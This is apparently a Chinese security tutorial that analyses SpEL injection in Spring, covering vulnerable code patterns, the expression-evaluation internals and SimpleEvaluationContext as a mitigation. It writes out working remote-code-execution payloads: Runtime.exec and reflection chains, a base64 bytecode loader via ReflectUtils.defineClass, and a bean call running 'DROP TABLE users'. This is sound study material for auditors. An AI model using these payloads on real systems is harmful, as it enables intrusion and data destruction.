前言

之前在演练中总是能审到各种OA的spel表达式注入,不管是流程引擎还是模板编辑,都很容易出洞,审洞简单,最简单的正则扫描器一扫都能扫出来关键字,往上跟就行了。对于漏洞利用,市面上打字节码的payload一打就完了,现在chains更是直接秒了,对于这个洞的基本审计、利用实际上安服无需懂原理也能审出来一把嗦拿shell。

然而最近遇到了一些比较新的系统,明明有漏洞点,也打不了,到底是什么在发挥作用?同时对Thymeleaf最新版进行分析看绕过时,发现也跟SpEL有关,就对这个sink做了重新的研究,同时排除掉之前的一些理解误区。

SpEL基础

使用场景

SpEL = Spring Expression Language,是 Spring 框架提供的一个功能强大的表达式语言,作用类似于:EL 表达式(JSP)、OGNL(Struts)、MVEL、Groovy 表达式等。一般可用于:

  • Spring 配置文件里做表达式运算(@Value("#{...}"))
  • Thymeleaf 内模板表达式(${...})
  • 数据绑定、动态 Bean 解析、条件执行

SpEL是单独模块,只依赖于core模块,不依赖于其他模块,可以单独使用。

<dependency>
      <groupId>org.springframework</groupId>

      <artifactId>spring-expression</artifactId>

      <version>xxxx</version>

    </dependency>

基础语法

  • 类似于java中的大部分语法
//构造方法  类名必须是全限定名
new java.util.Date()
new java.lang.String('abc')

//方法调用
user.getName()
'abc'.substring(0, 1)

//属性访问
user.address.city

//变量
#user.name
#rootValue
  • 类型引用:T()中的内容会被解析为一个类示例,之后就可以访问类的静态方法、常量(静态字段)
T(java.lang.System).getProperty('os.name')
T(com.example.Foo).bar()
  • 用法T(全限定类名).方法名()

SpEL表达式执行

SpEL 在求表达式值时一般分为四步,其中第三步可选:

  • 首先构造一个解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现。
  • 其次解析器解析字符串表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象。
  • 上下文接口:EvaluationContext接口决定了 表达式里面到底能干些什么,StandardEvaluationContext是标准实现接口,默认什么都能访问,可自定义规则进行特殊限制
StandardEvaluationContext context = new StandardEvaluationContext(rootObject);
context.setVariable("user", userObj);
context.setTypeLocator(...);         // 限制 T(...)
context.setMethodResolvers(...);     // 限制方法调用
context.setPropertyAccessors(...);   // 限制属性/字段访问(包括 getClass)
context.setBeanResolver(...);        // 限制 @bean 调用

SimpleEvaluationContext是安全模式,禁用类型引用(T(...))、方法调用 / 构造器、禁用 Bean 解析,只支持简单的数据绑定

SimpleEvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
  • 最后根据上下文得到表达式运算后的值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。最关键的就是:getValue(...) ,这就是真正触发表达式执行的地方。
public interface Expression {
    String getExpressionString();
    <T> T getValue(Class<T> desiredResultType) throws EvaluationException;
    <T> T getValue(EvaluationContext context, Class<T> desiredResultType);
    Object getValue() throws EvaluationException;
    Object getValue(EvaluationContext context) throws EvaluationException;
}

代码如下:

package com.ppp.spel;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class SpELTest {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('open -a Calculator')");
        EvaluationContext context = new StandardEvaluationContext();
        System.out.println(expression.getValue(context));
    }
}

误区: #{…}、${…}

它们 并不是spel内部的语法,而是 Spring 框架 为了解析表达式而加的"外层包装语法"。

  • ${...} 是 属性占位符,只是在配置中作字符串替换,不经过 SpEL。
  • application.properties
  • @Value("${server.port}")
  • XML/Java Config 里的占位符
  • Thymeleaf 的 ${...} 是一个把 SpEL 包起来,用于模板的语法糖,里面写SpEL 的表达式
  • #{...} 是 SpEL 的"表达式包装语法",用于 Spring 中的:

常见的可能做利用的就是加载xml,在value中写spel表达式中即可利用,但一般能够控制加载xml了,也不会这么去写,有更优雅的打法。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    <bean id="helloWorld" class="com.example.spring_helloworld.HelloWorld">

        <!--<如这条语句内部 "T(...)" 才是真正的 SpEL。外面只是 Spring 用 #{...} 包裹告诉容器:"这是一个 SpEL 表达式"。-->
        <property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}" />
    </bean>

</beans>
  • @Value("#{T(java.lang.Math).random()}")
  • Spring XML 配置中的 <property value="#{...}"/>

‍

漏洞代码

经测试,5.3.*全版本默认条件下都是可以通过如下方式进行RCE的

当使用 SpelExpressionParser 解析 spel 表达式,且使用无限制的上下文(默认StandardEvaluationContext无限制),当表达式可被外部控制,则存在漏洞。

//常见漏洞写法1
@GetMapping("/vul")
public String spelVul(String ex) {
    ExpressionParser parser = new SpelExpressionParser();
    String result = parser.parseExpression(ex).getValue().toString();
    return result;
}

//常见漏洞写法2,实际上不写EvaluationContext的话默认也是StandardEvaluationContext
new SpelExpressionParser().parseExpression(payload).getValue();

new SpelExpressionParser().parseExpression(payload).getValue(new StandardEvaluationContext())


//MethodBasedEvaluationContext也一样会触发
new SpelExpressionParser().parseExpression(payload).getValue(new MethodBasedEvaluationContext(new User(), null, null, null))

Payload构造

那么只要参数可控,就能传入表达式,由于可以调用任意类的任意静态方法,那攻击面相当多了,可以去读写文件、发请求

//测试
T(java.lang.Runtime).getRuntime().exec('open -a Calculator.app')

我们知道达到的最大攻击面肯定是加载字节码,这样的话相当于随便写类,不用受限于仅能调用静态方法了,真正的任意代码执行。

  • org.springframework.cglib.core.ReflectUtils就很好用,不仅其defineClass是静态方法,直接进行类加载。而且是 在Spring 框架最底层的基础库spring-core里的,基本上只要有Spring的任意包,就依赖spring-core,所以ReflectUtils是大概率存在的。
//加载字节码
{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',new sun.misc.BASE64Decoder().decodeBuffer('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}";

这里会使用Class.forName(className, true, loader);进行类加载,是可以初始化的,字节码写静态方法直接就能R

除了类加载机制去加载字节码实现任意代码执行,我们也尽可能的思考还有其他的攻击面较大的Payload?

  • 反射实现调用任意类的任意方法
  • 调用其他内部类实现回显

表达式执行原理分析

以如下为例

{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}

打断点看下

解析表达式

直接跟进

我们直接跟到org.springframework.expression.spel.standard.SpelExpressionParser#doParseExpression,

之后就是解析表达式,判断语法

这里就是将表达式字符串解析为AST语法树

表达式求值

跟进到org.springframework.expression.spel.standard.SpelExpression#getValue()

最终到了ast.getValue,前面我们知道SpEL 表达式会被解析成“AST 节点树",这里调用表达式语法树ast的getValue

跟进org.springframework.expression.spel.ast.SpelNodeImpl#getValue(org.springframework.expression.spel.ExpressionState)

可以发现调用getValueInternal,然后调用getValue

先跟进org.springframework.expression.spel.ast.InlineList#getValueInternal

这里就是遍历ast中的每个表达式(每个列表元素)、对每个元素执行 getValue(...),然后返回一个 TypedValue(list)

这里只有一个表达式,直接跟进看下

进入了org.springframework.expression.spel.ast.CompoundExpression#getValueInternal

随后进入org.springframework.expression.spel.ast.CompoundExpression#getValueRef

遍历chidren,调用getValueRef,这里的chidren元素还是前面表达式ast的各个元素,分别进入他们的getValueInternal调用过程

从前面我们知道子元素都是MethodReference类型的,自然进到org.springframework.expression.spel.ast.MethodReference#getValueInternal,实际上看字面意思也知道,获取参数,获取值类型。发现有个重载方法,看看做了什么

跟进这个重载方法,其中调用了findAccessorForMethod

跟进,这里会获取当前上下文接口的MethodResolver(当前是默认的StandardEvaluationContext,就是org.springframework.expression.spel.support.ReflectiveMethodResolver)

获取到ReflectiveMethodExcutor,进行方法解析

这里会有对当前传入方法的过滤等等(所以,一些第三方模板使用Spel执行时,就是通过自定义上下文接口并实现方法解析器来对方法的黑名单过滤)

之后就使用这个方法运行器进行执行

之后就是一个反射获取到方法

到这里第一个节点就执行完了,获取到了getRuntime这个方法。

之后还是一样,获取到exec方法,及参数,然后反射执行。

拓展

自己调一遍的话后面在Thymeleaf高版本是怎么进行过滤的就很容易调出来理解了,我们也知道了从当前上下文接口取到方法执行器,使用方法执行器去执行方法,那实际上是否允许调用表达式的方法,就取决于 MethodResolver。 一些可能的安全限制就在这里发生,比如:禁止 java.lang.Runtime、 getClass、 Class.forName

调通这里,实际上就是Thymeleaf高版本的绕过就很简单了,目前应该暂未公开,自行分析即可。

上下文接口(EvaluationContext)详解

虽然前面已经大概描述了一下,后续的很多漏洞如Thymeleaf,都是用的自定义EvaluationContext去求的表达式值,实现沙箱的原理就是在这里面。还是很有必要细讲一下EvaluationContext。

EvaluationContext接口

EvaluationContext 决定了 表达式里面到底能干些什么,所有安全相关的限制点几乎都挂在这里。

  • 能访问哪些变量?
  • 能访问哪些 Bean?
  • 能访问哪些类型(T(...))?
  • 能访问哪些属性、方法、构造器?
  • 是否允许 getClass/forName/exec/new 等危险操作?
public interface EvaluationContext {
    TypedValue getRootObject();
    List<PropertyAccessor> getPropertyAccessors();
    List<ConstructorResolver> getConstructorResolvers();
    List<MethodResolver> getMethodResolvers();
    TypeLocator getTypeLocator();
    TypeConverter getTypeConverter();
    TypeComparator getTypeComparator();
    OperatorOverloader getOperatorOverloader();
    BeanResolver getBeanResolver();
}

各种 Resolver / Accessor

PropertyAccessor (属性/字段访问)

public interface PropertyAccessor {
    Class<?>[] getSpecificTargetClasses();
    boolean canRead(EvaluationContext context, Object target, String name);
    TypedValue read(EvaluationContext context, Object target, String name);
    boolean canWrite(EvaluationContext context, Object target, String name);
    void write(EvaluationContext context, Object target, String name, Object newValue);
}
  • 比如访问 obj.field、obj.getXxx()、obj.getClass() 都会走这里
  • 很多防护会在这里禁止 getClass、class 之类的访问,以阻断后面 .forName() 链路

MethodResolver (方法调用解析)

public interface MethodResolver {
    MethodExecutor resolve(EvaluationContext context, Object targetObject,
                           String name, List<TypeDescriptor> argumentTypes)
            throws AccessException;
}
  • 比如调用 obj.someMethod(...) / T(xxx).staticMethod(...) 都会通过它来解析
  • 大部分防护会在这里
  • 拦截 exec / forName / newInstance / getRuntime 等敏感方法
  • 实现"仅白名单方法可调用"的策略

ConstructorResolver (构造器调用)

public interface ConstructorResolver {
    ConstructorExecutor resolve(EvaluationContext context, String typeName,
                                List<TypeDescriptor> argumentTypes) throws AccessException;
}

比如当表达式中出现如下会走这里。

new java.io.File("/etc/passwd")

一般用来统一禁止/限制 new 任意类的能力。

TypeLocator (类型查找(T(...) 的关键))

public interface TypeLocator {
    Class<?> findType(String typeName) throws EvaluationException;
}

典型实现:StandardTypeLocator。

当表达式出现:

T(java.lang.Runtime)

会调用 TypeLocator.findType("java.lang.Runtime")。

BeanResolver (@beanName 解析)

public interface BeanResolver {
    Object resolve(EvaluationContext context, String beanName) throws AccessException;
}

当表达式中出现:

@dataSource.getConnection().createStatement().execute("DROP TABLE users")

会通过 BeanResolver 找到 dataSource Bean。

‍

理解AST 节点:org.springframework.expression.spel.ast.*

典型几个节点:

  • MethodReference —— 方法调用节点(obj.m())
  • PropertyOrFieldReference —— 属性/字段访问(obj.field / obj.prop)
  • TypeReference —— 类型引用(T(...))
  • ConstructorReference —— 构造调用(new ...)

它们都有:

@Override
protected TypedValue getValueInternal(ExpressionState state) throws EvaluationException {
    // ...
}

举个完整调用链(你脑子里可以想象为一个时序图):

  1. 代码调用:
Expression exp = parser.parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')");
exp.getValue(context);
  1. SpelExpression#getValue(EvaluationContext ctx) 被调用
  2. 创建 ExpressionState(state),里面带着 EvaluationContext
  3. AST 根节点调用 getValueInternal(state):
  • 碰到 ''.getClass() → PropertyOrFieldReference 节点 → 调用 context.getPropertyAccessors() → 各个 PropertyAccessor.canRead/read()
  • 碰到 .forName(...) → MethodReference 节点 → context.getMethodResolvers() → 各个 MethodResolver.resolve()
  • 若出现 T(java.lang.Runtime) → TypeReference 节点 → context.getTypeLocator().findType(...)
  • 若出现 new SomeClass() → ConstructorReference 节点 → context.getConstructorResolvers() → ConstructorResolver.resolve()
  • 若出现 @bean → BeanReference → context.getBeanResolver().resolve()
  1. 最终得到一个 TypedValue 作为执行结果返回。

很多防护就是在这些回调接口 / resolver / accessor里插入自己的控制逻辑。

安全代码

SimpleEvaluationContext

前面我们知道了默认求值用的是StandardEvaluationContext,默认是不安全的,允许调用任意类的静态方法,实际上SpringEL也准备了SimpleEvaluationContext。

它默认关闭了 SpEL 的方法调用、构造器调用、类型引用、Bean 解析等"可执行能力",仅保留受限的属性访问与简单运算。

// 只读数据绑定
SimpleEvaluationContext ctx =
    SimpleEvaluationContext.forReadOnlyDataBinding().build();

// 可读写数据绑定(允许写属性)
SimpleEvaluationContext ctx =
    SimpleEvaluationContext.forReadWriteDataBinding().build();

// 自己指定 PropertyAccessor
SimpleEvaluationContext ctx =
    SimpleEvaluationContext.forPropertyAccessors(
        DataBindingPropertyAccessor.forReadOnlyAccess()
    ).build();

forReadOnlyDataBinding()

  • 典型用在:模板展示、只读规则判断
  • 特性:
  • 只能读属性、读集合、读变量
  • 不允许写属性、不允许方法调用 / T(...) / new / @bean

forReadWriteDataBinding()

  • 可以写属性:#user.name = 'xxx'
  • 适合做“数据填充/绑定”,比如表单绑定、配置注入
  • 同样禁止方法/T/new/Bean

forPropertyAccessors(...)

  • 自己指定一组 PropertyAccessor,可以微调属性访问策略
  • 场景:比如你只想让表达式访问 map/list,而不让它访问任意 object 字段

‍

一般适用以下场景:

  • 模板渲染(Thymeleaf 只需要读 DTO 的属性)、数据绑定 / 动态条件展示/简单规则判断(对应 DTO 上的数据)

不适用场景:

  • 动态脚本执行、运维控制台执行任意 Java 逻辑(那本来就该用别的沙箱)

所以一般情况下,也很少人去用SimpleEvaluationContext,因为我后端的逻辑本来就是要设计出动态脚本执行(流程自动化设计、模板定制等),这样写业务就崩了。所以单纯从业务上来讲,也很难修,防止攻击者进入后台是最重要的。